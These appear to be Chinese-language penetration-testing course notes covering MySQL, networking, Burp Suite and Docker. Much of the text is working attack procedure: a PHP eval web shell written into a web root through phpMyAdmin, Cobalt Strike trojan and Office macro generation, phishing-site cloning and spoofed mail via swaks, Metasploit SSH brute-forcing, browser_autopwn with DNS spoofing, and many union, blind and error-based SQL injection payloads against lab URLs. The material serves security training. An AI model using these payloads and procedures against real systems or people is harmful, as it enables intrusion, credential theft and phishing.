flush privileges; //刷新数据库
在mysql系统之外去修改
mysqladmin -u root -p password "新密码"
接着需要输入原来的密码
****忘记密码,如何修改*******
step 1:关闭mysql服务,/etc/init.d/mysqld stop
systemctl stop mysqld.service
service mysqld stop
step 2:修改配置文件,/etc/mysql/my.cnf 或者my.ini
找到 [mysqld]
加上 skip-grant-tables (跳过密码验证)
step 3:重启mysql 然后登录 mysql -uroot -p 直接回车
use mysql;
update user set password=password("root") where user ="root";
flush privileges;
exit
step 4:修改配置文件,将 skip-grant-tables 注释掉,重启mysql服务
step 5 :使用密码登录
***************************官方操作(貌似不好使)****************************
/etc/init.d/mysql stop
/etc/init.d/mysql start --skip-grant-tables --skip-networking
mysql
FLUSH PRIVILEGES;
SET PASSWORD FOR 'root'@'localhost' = PASSWORD('MyNewPass');
/etc/init.d/mysql stop
/etc/init.d/mysql start
*************************************************************************
数据库添加用户并授权
添加用户:
create user "用户名"@"主机IP" identified by "密码";
用户名:添加的用户
主机IP:允许哪个主机可以登录(localhost 本机 / % 任意远程用户 /192.168.11.101 )
密码:登录密码,可为空
授权:
grant 权限 on 库名.表名 to "用户名"@"主机IP";
权限:增(insert)删(drop)改(update)查(select ) all 所有的权限
库名.表名 :表示允许对哪个数据库下的哪个表进行某项操作 *
grant all on *.* to "test"@"192.168.11.45";
数据库外连(允许远程连接)
update user set host="%" where user="root" and host="localhost";
flush privileges;
mysql的函数
select version(); 查看版本
select user();当前用户
select @@version; 版本
select @@hostname;计算机名
select @@tmpdir;查看临时目录
select @@basedir;数据库服务所在位置
select @@datadir;数据存放的位置
frm 存放表头 表结构
MYD 存储数据 数据内容
MYI 存储当前数据配置信息 索引信息
mid() 用来截取字符串 mid("被截取字符串",开始索引 从1开始 ,截取的长度)
ord()显示字符的ASCII
concat() 用来连接多个字符串
concat_ws() 拼接多个字符串,第一个参数是分隔符,可以是字符串,也可以是16进制的数字
group_concat()和concat()用法相似,拼接并且分组显示
sleep(5); 让数据库等待5秒钟再显示数据
SQL语法
创建数据库:
create database pentest;交互式窗口
mysqladmin -uroot -proot create pentest2; 直接在DOS命令窗口下去创建
删除数据库:
drop database pentest1;交互式模式
mysqladmin -uroot -proot drop pentest; 直接在DOS命令窗口下去删除
数据库中数据类型
INT 整型
BIGINT 大整型
FLOAT 浮点型
DATE 日期
TIME 时间
CHAR 字符
varchar 变长字符
TEXT 文本
timestamp 时间戳
double 双进度浮点型
bit 比特
tinyint 0/1
use 数据库名;
create table 表名(字段名1 数据类型 primary key auto_increment(描述 自增),,字段名2 数据类型,·······) 创建表
主键:在表中是唯一的,能够通过当前的字段确定该记录
drop table 表名;删除表
查看表中有哪些字段: show create table 表名;
desc 表名;
后续添加主键:
alter table 表名 add [constraint 主键名] primary key(字段)
设置为主键的字段名不能为空
alter table teacher add primary key (id);将teacher表中的ID设置为主键
插入数据:
insert into 表名(字段名1,字段名2,字段名3) value(值1,值2,值3);
查询数据:
select 字段名1,字段名2 from 表名;
* 表示所有的字段名,其他字段名不能放在*前面使用
*,host,user 可以使用
select 字段名1,字段名2 from 表名 where 字段名=指定的值(单条件)
select 字段名1,字段名2 from 表名 where name="root" and ip="127.0.0.1"(多条件)
限制查询:limit a,b(a是记录的索引 0开始,b是记录的长度)
select 字段名1,字段名2 from 表名 limit 0,1;
更新数据
update 表名 set 字段名1=新值1,字段名2=新值2······ (更改所有的记录)
update 表名 set 字段名1=新值1,字段名2=新值2······ where 条件
删除表数据:
delete from 表名 ;慎用
like子句 %(任意多个字符) _(单个字符)
select * from stu where name like "ic%";
在like后的字符串中可以使用mysql 的通配符
*************union 联合查询*****************
查询语句1 union 查询语句2 将他们查询的结果放在一张表中显示,表名他们的字段个数必须是一样
select id,name,number from teacher union select "a","b","c";
***********************************************************************
*****************order by 条件 根据条件排序*****************************
默认情况下表的排序是升序
select id,name,number from teacher order by number [ASC/DESC] ; 根据number去排序,升序
ASC 升序
DESC 降序
order by n ,表示对第n列数据进行排序,如果n超过表格的列数 就会报错
*************************************************************************
删除字段
alter table 表名 drop 字段名;在表中删除字段名以及其数据内容
添加字段
alter table 表名 add 字段名 字段类型;
修改字段类型
alter table 表名 modify 字段名 新字段类型;
修改表名
alter table 原表名 rename to 新表名;
mysql
数据的导入和导出
导入数据
(1)mysql -u 账号 -p 密码 < 要导入的数据库文件(exp.sql)
注意:exp.sql需要自动去创建数据库,并且需要选择该数据库
如果exp.sql 不会自动创建数据库的时候使用如下的方式:
mysql -u账号 -p密码
create datebase 数据库名
use 数据库名
source 数据库文件 使用绝对路径
(2)
首先需要创建一个数据库teacher, 接着要创建一个表class,该表的字段名要和导入的数据的字段保持一致
mysqlimport -uroot -proot --local teacher class.txt
该方式适用于dump.txt不会自动创建数据库()
--local 表示本地任意位置均可导入数据 -L
(3)借助平台导入数据
phpmyadmin
注意:如果导入的文件不会自动创建数据库,需要手动先创建数据库,进入到当前的数据库中,去导入
导出数据:
(1)select 字段 from 表名 into outfile "文件";
首次通过数据库往外导出文件会出现 数据库运行secure_file_priv安全机制,可以通过secure_file_priv来限制我们导出文件
show global variables like '%secure_file_priv%';
secure_file_priv 为NULL 表示限制msyqld 不允许导入和导出
secure_file_priv=/tmp/ 表示限制MySQLd只能在/tmp目录下执行导出和导入,其他目录不行
secure_file_priv 没有值时,表示不限制msyqld在任意目录的导入导出
修改方式:
临时方式:set global secure_file_priv='';
长久方式:修改配置文件 ,(在mysqld之后)添加secure_file_priv='',保存配置文件并重启服务
通过phpmyadmin获取服务器权限(getshell)
step 1:通过google hacking 找phpmyadmin;
step 2: 弱口令登录,show global variables like '%secure_file_priv%';判断我们有没有权限去写木马文件
step 3:select "<?php @eval($_POST[_]);?>" info outfile "/var/www/html/index.php"
(2) msyqldump -uroot -proot test > ./data.sql
C:\Users\cream>mysqldump -uroot -proot test > ./data.sql 导出数据库
C:\Users\cream>mysqldump -uroot -proot test teacher > ./data.sql 导出某个数据库的表
***************报错函数************************************
使用报错函数的目的:通过报错信息将我们的数据(用户信息、服务器信息等等)带出来
函数:
select connection_id();用户连接数
select insert(被替换的字符串,替换位置索引,替换字符长度,替换的字符串);做替换
select left(被截取的字符串,长度);向左截取
select right(被截取的字符串,长度);向右截取
select substring()/substr()/mid()
都是三个参数,第一个:被截取的字符串,第二个:开始位置,第三个:截取长度
报错函数2个,一般写在条件中
extractvalue(XML_document,XPath_String);
第一个参数:XML_document是string类型,它是XML文档对象的名称
第二个参数:Xpath_String(Xpath格式的字符串)
作用:从目标XML中返回包含所有查询值的字符串
select * from news where tid=1 and extractvalue(1,concat(0x7e,(select version()),0x7e));
(1, concat(0x7e ,(select version()), 0x7e))
updatexml(XML_document,Xpath_String,new_value);
第一个参数:XML_document string格式,它是XML文档对象的名称
第二个参数:Xpath_String(Xpath格式的字符串)
第三个参数:new_value,string格式,替换查找到符合条件的数据
作用:改变文档中符合条件的节点的值
select * from news where tid=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)
去重
select distinct 字段名 from 表名 where 条件;
PHP操作MYSQL数据库
(1)使用mysqli 扩展 (推荐)
面向对象的方式
直接方法(面向过程)
(2)使用mysql扩展(PHP<=5.5)
(3)使用PDO技术(防止sql注入)面向对象的方式(推荐)
检查我们的环境设置(phpinfo())
mysqli
pdo
连接mysql
msyqli面向对象
mysqli面向过程
PDO
try{
}catch(条件){
}捕获异常
四、HTTP报头追踪漏洞
HTTP/1.1(RFC2616)规范定义了HTTP TRACE方法,主要是用于客户端通过向Web服务器提交TRACE请求来进行测试或获得诊断信息。当Web服务器启用TRACE时,提交的请求头会在服务器响应的内容(Body)中完整的返回,其中HTTP头很可能包括Session Token、Cookies或其它认证信息。攻击者可以利用此漏洞来欺骗合法用户并得到他们的私人信息。该漏洞往往与其它方式配合来进行有效攻击,由于HTTP TRACE请求可以通过客户浏览器脚本发起(如XMLHttpRequest),并可以通过DOM接口来访问,因此很容易被攻击者利用。
防御HTTP报头追踪漏洞的方法通常禁用HTTP TRACE方法。
Cobalt Strike使用
step 1: 开启团队服务器
TeamServer.exe 192.168.11.247 pass
接下来会看到团队服务器开启的状态、端口等信息
step 2:点击CobaltStrike.exe(win)
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*(linux、win)
./cobaltstrike (linux)运行主题文件打开页面
step 3:设置监听器
cobalt strike-->listeners-->add
windows/beacon_*/* windows/beacon_*/*是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器。支持的是beacon类型的会话。
windows/foreign/* windows/oreign/*为外部监听器,即msf或者Armitage的监听器。
step 4:设置攻击方式
attacks-->packages-->
HTML Application 生成恶意的HTA木马文件;
MS Office Macro 生成office宏病毒文件;
Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件;
Windows Dropper 捆绑器,能够对文档类进行捆绑;
Windows Executable 生成可执行exe木马;
Windows Executable(S) 生成无状态的可执行exe木马
注意选择好攻击方式和监听器
step 5:将生成的木马文件放置在目标机器中执行
钓鱼网站制作(1、手写;2、工具平台)--->仿照真实站点制作具有钓鱼功能的页面(页面仿真度尽可能高、页面功能以及展示数据具有一定诱惑性)
kali 中Social-Engineer Toolkit
Select from the menu:
1) Social-Engineering Attacks(社工工程学攻击)
2) Penetration Testing (Fast-Track)(快速追踪测试)
3) Third Party Modules(第三模块)
4) Update the Social-Engineer Toolkit(升级)
5) Update SET configuration(升级配置)
6) Help, Credits, and About(帮助)
选择1
Select from the menu:
1) Spear-Phishing Attack Vectors(鱼叉式网络钓鱼攻击)
2) Website Attack Vectors(网页攻击)
3) Infectious Media Generator(传染媒介产生器---木马)
4) Create a Payload and Listener(建立pay和监听器)
5) Mass Mailer Attack(邮件群发攻击)
6) Arduino-Based Attack Vector(基于Arduino攻击方式)
7) Wireless Access Point Attack Vector(无线接入攻击)
8) QRCode Generator Attack Vector(二维码攻击)
9) Powershell Attack Vectors(powershell攻击)
10) SMS Spoofing Attack Vector(SMS欺骗攻击)
11) Third Party Modules(第三模块)
选择2
1) Java Applet Attack Method (java applet小程序攻击)
2) Metasploit Browser Exploit Method(MSF 浏览器攻击)
3) Credential Harvester Attack Method(钓鱼网站攻击)
4) Tabnabbing Attack Method(标签钓鱼攻击)
5) Web Jacking Attack Method(网站Jacking 攻击)
6) Multi-Attack Web Method(多站点攻击)
7) Full Screen Attack Method(全屏幕攻击)
8) HTA Attack Method(HTA攻击)
选择3
1) Web Templates 网站模板
2) Site Cloner (网站克隆)
3) Custom Import (自定义)
选1表示使用其自带的网站模板
选择2克隆已经存在的网站
http://192.168.11.101/ 制作好的钓鱼网站 通过Ngrok发布出去--->http://login.google.cn
钓鱼邮件制作
临时邮箱:https://bccto.me/
http://www.yopmail.com/zh/
http://24mail.chacuo.net/
pentest0908@yopmail.com 临时邮箱(目标)
***************************************************************************
跨域访问问题
基础钓鱼页面的制作
https://www.freebuf.com/articles/web/147207.html
*****************************************************************************
swaks 伪造钓鱼邮件
用法:
swaks --to oi95zqcz@bccto.me //测试邮箱的连通性
选项
--from heacker@qq.com //发件人的邮箱
--ehlo qq.com //伪造邮件ehlo头,发件人邮箱的域名信息
--boby "http://login.google.cn" //发送钓鱼网站
--header "Subject:XXXXXXX" //邮件的头信息
swaks --to pentest@bccto.me --from hr@qq.com --ehlo qq.com --body "test" --header "Subject:pentest"
使用MSF破解MYSQL和SSH
爆破SSH
use auxiliary/scanner/ssh/ssh_login 加载模块
show options 查看当前模块中参数设置
set rhost 设置要爆破的主机IP
set rport 设置要爆破的端口(服务)
set username 设置单个账号
set user_file 设置账号字典
set password 设置单个密码
set pass_file 设置密码字典
set threads 设置线程
run/exploit
如果爆破成功,后台会产生会话(session)
sessions -l 查看会话列表
session -i 1 进入ID是1的会话中
爆破mysql的模块是:use auxiliary/scanner/mysql/mysql_login
当我们获得shell之后,发现没有头部信息(解析器提示符)
python -c 'import pty;pty.spawn("/bin/sh")'
root root
root 123.com
python -c 'import pty;pty.spawn("/bin/bash")'
get install shellinabox (shell web )
shellinaboxd -b -t (运行)
-b 在后台运行
-t 使用基于HTTP协议的终端
kali 创建一个普通用户
浏览器访问:http://ip:4200
最后使用Ngrok把我们的基于WEB的kali终端发布出来
ssh 默认情况下不允许root账号直接去远程登录
更改端口:Port 2222
允许root登录: 将PermitRootLogin前的注释删掉,将其后单词修改为yes
保存退出
重启服务
注意防火墙可能会拦截数据包
解决方法:
关闭防火墙: service iptables stop
修改配置文件方法:/etc/sysconfig/iptables 修改其拦截规则
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
修改为:-A INPUT -m state --state NEW -m tcp -p tcp --dport 2222 -j ACCEPT
http协议基础
计算机网络模型:
OSI标准模型:物理 数据链路 网络 传输 会话 表示 应用
*TCP/IP五层模式:物理 数据链路 网络 传输 应用*
TCP/IP四层模型:网络接口 网络 传输 应用
物理:规定电气特性,按照标准使用什么样的物理设备:光猫(调制解调器),光纤 五类线 超五类线 中继器 集线器 HUB
数据链路层:把上层数据包封装成帧进行传输,校验 ,检错,纠错
CSMA/CD PPP ARP(地址解析协议)等等,网卡 网桥 交换机
网络层:传输数据包,对数据包进行路由转发,IP ICMP(网络控制报文协议) RIP内部网关协议 OSPF(开放最短路径优先) EIGRP(思科)
BGP外部网关协议 IS-IS IPsec(IP安全协议) 路由器 防火墙 三层交换机
传输层:进行端到端的透明可靠的数据传输 TCP UDP PPTP等 端口 服务进程
应用层:直接为用户提供某项服务 HTTP https ftp DHCP DNS SMTP(简单邮件传输协议) POP3 (邮局协议) SSH SSL TELNET 等
软件化
TCP/UDP对比
TCP是面向连接的 可靠 基于字节流的 连接是点对点的 全双工
头部20字节
UDP是面向报文的,无连接的 简单不可靠 尽最大努力交付 连接可以是一对一 一对多 多对一 单向不可靠信道
头部8字节
TCP数据包
头部20字节+可选项+填充位=TCP首部 除了首部剩下就是数据
ACK 确认位 确认标识
SYN 同步序列号
FIN 字符串发送完毕
网络接口模式:
标准模式 网卡只接受目标地址是自己的数据包
混杂模式 只要数据包经过网卡,网卡就会接受该包,不管其目的地址是否是自己
混杂模式设置:
网络与共享中心-->本地连接-->属性--->配置-->高级-->网速与全双工-->auto (自动匹配)
使用wireshark分析HTTP数据包
过滤器:
tcp 显示TCP协议数据记录
HTTP
UDP
icmp
ip.src==192.168.1.1 找源是192.168.1.1的记录
ip.dst==192.168.1.2 找目的IP是192.168.1.2的记录
ip.addr==192.168.1.1 找记录中含有192.168.1.1的(不分源和目的)
tcp.port==80 端口是80的记录
http.request.method=="GET/POST"
tcp.dstport==80 目的端口是80的记录
tcp.srcport==80 源码端口是80的记录
连接符:
and &
or ||
封包详细信息
Frame 数据帧情况
接口ID
封装类型
捕获时间
时间戳
帧序列号
帧长度
捕获长度
Ethernet II 数据链路层 以太网帧头部信息
目标MAC
源MAC
IP类型
IPV4:网络层IP头部信息
版本
IP头部长度
差分服务字段
总长度
标志字段
标记字段
TTL
上层协议
头部校验
源
目的
tcp:传输层头部信息
源端口
目的端口
序列号
确认号
头部长度
标记
窗口大小
校验和
HTTP:应用层头部信息
请求方式
host
USER_AGENT
HTTP协议
模拟HTTP协议的请求过程CURL
BP的功能:
Target:站点地图、目标域、工具
站点地图:扫描站点结构 查看目前站点深度 进行被动扫描或者主动探测
目标域:通过域名或主机限制拦截的内容,/login/ ,有限制型去拦截
手工获取站点地图:
Proxy:开关接口、HTTP历史记录、webSocket历史记录、选项设置
Spider:Spider控制(状态、spider域{target scpoe/自定义})、选项设置(
抓取设置:检测robots.txt、404页面、忽略内容为空的连接、抓取跟目录下所有文件和目录、为动态页面发送无参数请求、最大链接深度、最大请求URL参数数目
抓取代理设置:勾选,表示通过浏览器的代理,链接深度为0,无限
表单提交:不提交表单、手工提交、自动填写三种方式
应用登录:不提交登录信息、手工提交、作为普通表单提交、自动提交
爬虫引擎:线程、网络失败重试次数、重试间隔时间
HTTP头部信息:
)
Scaner:主动扫描(常见WEB漏洞)和被动扫描(密码明文传输、不安全的cookie设置、列目录、信息泄露等)导出报告
Intruder:攻击
repeater:重放攻击
Firefox自动向http://detectportal.firefox.com/success.txt 发包
解决办法:
地址栏输入:about:config
搜索network.captive-portal-service.enadbled,改为false
falg{asda-12312312adasd asd}
synt{60sp1593-0356-4133-8202-q90q889nso21}
浏览器以及插件
UC、火狐、谷歌、360、qq、IE
暴力破解
B/S爆破 使用Burpsuite
C/S爆破 使用Hydra 美杜莎
社工密码生成器:
pydictor:强大的密码生成器
Cupper:针对国人的社工密码生成器
wordhound:基于推特搜索、PDF文档、甚至Reddit子网站创建密码字典
pip install 模块
pip remove 模块
step 1:选择1. Generate Dictionary
step 2:选择3. Create new industry 接着输入新的工厂名称 回车
step 3:选择新建的工厂2. pentest
step 4:选择1. Create new client 接着输入我们的新客户名称
step 5:根据需求选择生成字典的方式1. Generate Dictionary from website. 接着输入站点URL 和深度
BruteScrape:读取站点页面内容,分析页面,分析结果导出密码字典
易优密码生成器
爆破常用的服务(WEB、TELENT、SSH、FTP等)
伪加密,通过修改ZIP文件头的信息,达到加密的效果,实则不需要密码解密,如果要解密修改头部信息
zip头部信息
压缩源文件数据区
50 4B 03 04 头部标识
14 00 压缩文件需要的pkware版本
00 00 全局方式位标记
08 00 压缩方式
CD 45 最后修改时间
BB 48 最后修改日期
压缩源文件目录区
50 4B 01 02 目录文件头部标识
3f 00 压缩文件需要的pkware版本
14 00 解压缩文件所需的pkware版本
00 00 全局方式位标记(伪加密需要刚改为09 00)
08 00 压缩方式
CD 45 最后修改时间
BB 48 最后修改日期
MSF更新
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
***********************************************************
SQL注入漏洞
原理:
https://github.com/ethicalhack3r/DVWA.git
http://192.168.11.57:9080/DVWA-1.9.zip
漏洞形成原因:
(1)有一个参数用户可控;
(2)服务器对该参数没有过滤或者过滤不严谨。
漏洞本质:
将用户提交的数据当做代码执行,违背了“数据和代码分离”原则
前端用户输入用来查询数据库的一个sql语句,id=1,服务器需要对该id进行过滤,然后拼接SQL语句select * from user where id =a;
id=1 or 1=1
waf(id)
select * from user where id =1 or 1=1 页面会正常显示
select * from user where id ='$_POST["id"]';
id=1' or '1'=' 1
select * from user where id =' 1' or '1'=' 1'
http://192.168.11.72:9090/mutillidae.zip
万能密码:利用sql注入漏洞,提交恶意的数据(在用户名处提交含有恶意功能的sql数据),希望数据库在执行SQL语句时能有返回值
SELECT * FROM admin WHERE Username='1' or 1=1
用户名: 1' or 1=1#
密码:123
用户名:1' or 'a'='a'#
密码:123
sql注入分类
请求方式: GET方式 POST方式
根据sql注入点的参数类型分类(数据类型):整数型注入 字符型注入 搜索型注入
根据sql注入点的反馈类型:报错注入 联合注入 布尔注入 时间注入 盲注
根据数据库类型:MSSQL MYSQL ORACLE ACCESS NOSQL LDAP 等
手工注入:
常用函数:user() version() database() concat() group_concat()
concat_ws()
mid() 适用于mysql
substr() 适用于oracle mysql sqlserver
substring() 适用于mysql sqlserver
left()
right()
ascii()
条件判断:
if(判断的条件,条件为真返回值,条件为假返回值)
select if("1=1",'true','false');
select if(ascii(substr(database(),1,1))>92,"true","false");
case when 判断的条件 then 条件为真返回值 else 条件为假返回值 end
case when ascii(substr(database(),1,1))>92 then "true" else "false" end ;
数据库中注释:#(%23) -- +
length(字符串) 计算字符串长度
union 联合查询 确保前后查询出的字段个数一定要一样
select uname,passwd,gender from users where uid=1 union select 1,2,3;
可以根据union 判断当前的SQL选择的字段数 可以在显错注入中判断哪个字段在前端显示
order by n 对第n列数据进行排序,如果n超过表的列数,报错。
可以根据order by 判断出数据库表共有几列
mysql 数据库特性(5.0以上)
information_schema 自带,系统库,汇总(其他数据库的库名,表名,字段名)
其他数据库的库名,表名,字段名 在哪里存着呢?columns表中,需要关注该表中三个字段:
table_schema 其他数据库的库名
table_name 其他数据库的表名
column_name 其他数据库中字段名
一库一表三字段
select distinct table_schema from information_schema.columns ;
#mysql数据库中所有的数据库 -->dvwa
select distinct table_name from information_schema.columns where table_schema='dvwa';
#查询DVWA数据库下所有的表 -->users
select distinct column_name from information_schema.columns where table_schema='dvwa' and table_name='users';
注意:可以根据需求将数据库名和表名转换成十六进制
手工注入:
step 1:判断是否有注入(判断从后台数据库中选取的列数,判断哪几列在前端显示)
step 2:收集数据库信息(用户名、版本、当前数据库名等等)
step 3:获取当前数据库下的所有表名
step 4:获取当前数据库下指定表中字段名
step 5:获取字段对应的数据
step 6:破解数据(密码)找后台 /admin/ admin.php admin_login.php
案例分析:
step 1:找URL,判断是否有注入点
url:id=1 Google Hacking inrul:id=
' /and sleep(5) /' and '1'='1 /' and '1'='2 /1 or 1=1/…… 根据页面显示效果或者提示信息来判断用户提交的数据是否在数据库中被执行
数据库类型
1、架构
php+mysql、jsp/asp+mssql、jsp/asp+access、jsp+oracle
2、函数
http://target.com?id=1 and user>0 (mssql正常执行)
http://target.com?id=2 and version() >0 (mysql正常执行)
3、报错 根据报错信息来判断数据类型 (具有局限性)
4、系统表
http://target.com?id=1 and (select count(*) from sysobjects)>0 sql sercer
http://target.com?id=1 and (select count(*) from myobjects)>0 ORACLE
http://target.com?id=1 and (select count(*) from information_schema.columns)>0 mysql
确定列数和位置(显错、显示数据)
http://192.168.10.18/jdy1.5/typeid.php?typeid=1 order by 6#
order by 后变动数字,根据页面显示效果判断列数 5
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,2,3,4,5%23
union select 后跟5个数字,同时要把typeid=1 对应的结果屏蔽掉
step 2:收集信息
所有数据库
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
当前数据库
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,(database()),3,4,5%23
数据库版本
version()
用户
user()
临时文件夹
@@tmpdir
数据库文件所在的位置
@@datadir
step 3:获取当前数据库下表名
jdycms
select group_concat(distinct table_name) from information_schema.columns where table_schema='jdycms';XXXXXXX无法执行
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=0x6a6479636d73),3,4,5%23
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23
step 4:获取当前数据库下指定表的字段名
select group_concat(distinct column_name ) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e;
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,(select group_concat(distinct column_name ) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
step 5:获取字段数据
http://192.168.10.18/jdy1.5/typeid.php?typeid=-1 +UNION+ALL+SELECT+1,(select concat_ws(0x7e,username,password) from jdy_admin limit 0,1),3,4,5%23
SQL注入源代码审计:
KirbyCMS
CMS Made Simple
MSF浏览器自动攻击
环境:kali
xp/win server 03
exp:browser_autopwn2
工具:kali msf ettercap
在局域网中使用DNS欺骗,将用户的流量劫持到指定的站点(恶意URL),然后浏览器执行恶意URL背后的EXP,将反弹的shell返回给MSF
盲注:用户提交的数据在后台数据库中执行,没有任何的数据(报错信息、执行sql的数据)传递到到前端,这种类型就是盲注
使用基于布尔的盲注 基于时间的盲注 利用这些方法并结合浏览器的显示效果判断payload的正确性
使用bool -->页面是否显示正常
使用time ---->页面加载时间
数据库函数:
length() 长度
ascii() 返回字符ascii值
if(,,)
mid()
substr()
substring()
基于布尔的盲注探测
step 1:探测注入点,' / 1' and 1=1 # /1 ' and '1'='1'#
SELECT * FROM users WHERE id='1'
http://192.168.10.18/SQLI_LAB/Less-8/?id=1' and 1=2--+
注意:用户提交的数据被带入到后台数据库中执行了,根据页面的显示效果判断此处是否有注入点
step 2:收集数据信息(当前用户名,当前数据库……)
http://192.168.10.18/SQLI_LAB/Less-8/?id=1' and length(user())=14%23
用户名长度14
http://192.168.10.18/SQLI_LAB/Less-8/?id=1' and ascii(substr(user(),1,1))=114 %23
用户名第一个字符是r
step 3:查询当前数据库中表
http://192.168.10.18/SQLI_LAB/Less-8/?id=1' and ascii(substr(
(select distinct table_name from information_schema.columns where table_schema=database() limit 0,1)
,1,1))=114 %23
找出有价值的数据表 users
step 4:获取指定表的字段名
http://192.168.10.18/SQLI_LAB/Less-8/?id=1' and ascii(substr(
(select distinct column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1)
,1,1))=114 %23
step 5:获取字段数据
http://192.168.10.18/SQLI_LAB/Less-8/?id=1' and ascii(substr(
(select group_concat(username,password) from users limit 0,1)
,1,1))=114 %23
step 6:破解密码
峰箱(BWAPP)
CommandoVM
使用VULHUB搭建漏洞环境
先下载漏洞环境集合 git clone https://github.com/vulhub/vulhub.git
安装docker 软件:curl -s https://get.docker.com/ | sh
安装docker-compose:pip install docker-compose /apt insatall docker-compose
cd 切换到vulhub中某个文件夹中drupal:docker-compose up -d 加载环境并运行
docker入门和漏洞环境搭建
docker介绍
docker开源的应用程序容器引擎,使用go语言,借组于docker打包用户的应用程序,将这些应用程序包含在容器中,实现虚拟化,容器是完全使用沙箱机制,相互独立,占用资源非常少。
关于docker的三个概念
镜像:image,docker镜像就是一个只读的模板,例如一个镜像中可以包含完整的操作系统,里面安装apache/php/mysql等环境,镜像可以创建容器
容器:container,docker利用容器运行程序,容器是从镜像中创建运行的实例,容器可以运行、关闭、删除
仓库:repository,集中存放镜像的地方,每个仓库中包含多个镜像,分为私有和公开,最大的仓库是dockerhub
docker的安装
curl -s https://get.docker.com/ | sh
apt install docker.io
docker的基本使用
启动:
systemctl start docekr(centos)
service start docekr (ubuntu)
基本信息:
docker info 当前容器的信息
docker stats 查看运行的容器的信息
docker version 版本
添加仓库:
自行研究
添加加速器:
curl -sSL https://get.daocloud.io/daotools/set_mirror.sh | sh -s http://f1361db2.m.daocloud.io
镜像:
docker search mysql 搜索
docker pull 镜像名称 下载
docker images 查看本地已经下载的镜像
docker rmi 镜像ID 删除镜像
容器:
docker run -d -p --rm --name 容器名 镜像地址
-d 后台运行 -p 随机分配端口
-p端口1(宿主机的):端口2(容器中)
--rm 当容器停止时,会自动删除该容器
docker ps 查看当前运行的容器状态
docker ps -a 所有的容器运行状态
docekr stop 容器名 关闭
docker start 容器名/ID 开启某个容器
docker rm 容器名/ID
进入容器内部
docker exec -it 容器ID /bin/bash
it 交互模式
导出容器
docker save 容器ID > test.tar
导入容器
docker load < test.tar
https://www.daocloud.io/mirror
报错注入
报错函数:
(1)extractvalue(参数1 ,参数2)
从目标XML中返回查询的字符串,参数1 是string格式,XML文档名 ,参数2 是XPATH格式 ,要查询的字符串
select extractvalue(1,concat(0x7e,(select user()),0x7e));
(2)updatexml(参数1,参数2 ,参数3)
改变文档中符合条件的节点的值,参数1 是XML文档 ,参数2 是xpath的字符串,参数3 是string格式替换查找符合条件的数据
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
前两者报错的长度有限制 32 位
(3)floor()函数,必须和conut() rand() group by 配合才能报错
select * from news where tid=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)
达到相同目的的函数都可以替换去使用!
(select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)
select count(*), ('root@localhost0')x from information_schema.tables group by x
select concat(user(),floor(rand(0)*2))x;
floor() 返回参数的整部部分
+----------+-----------------+
| count(*) | x |
+----------+-----------------+
| 1189 | root@localhost0 |
+----------+-----------------+
floor报错本质:
创建虚拟表格时,执行主键查询两次出错!!
通过floor报错的方法来爆数据的本质是group by语句的报错。group by语句报错的原因是floor(random(0)*2)的不确定性,即可能为0也可能为1(group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中则更新临时表中的数据;如果该key不存在于临时表中,则在临时表中插入key所在行的数据。group by floor(random(0)*2)出错的原因是key是个随机数,检测临时表中key是否存在时计算了一下floor(random(0)*2)可能为0,如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
其他7种报错函数:
(1)geometrycollection()
select * from news where tid=1 and geometrycollection((select * from (select * from (select user())a)b));
(2)multipoint()函数
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
(3)polygon()函数
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
(4)multipolygon()函数
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
(5)linestring()函数
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
(6)multilinestring()函数
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
(7)exp()函数
select * from test where id=1 and exp(~(select * from(select user())a));
报错本质:有回显(联合 、 报错 )
实验演示:
select extractvalue(1,concat(0x7e,(select user()),0x7e));
step 1:测试注入点
step 2:获取数据库信息(当前数据库)
select extractvalue(1,concat(0x7e,(select database()),0x7e));
http://192.168.10.18/SQLI_LAB/Less-5/?id=1' and extractvalue(1,concat(0x7e,(database()),0x7e))--+
step 3:表名
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))#
http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e))--+
step 4:字段名
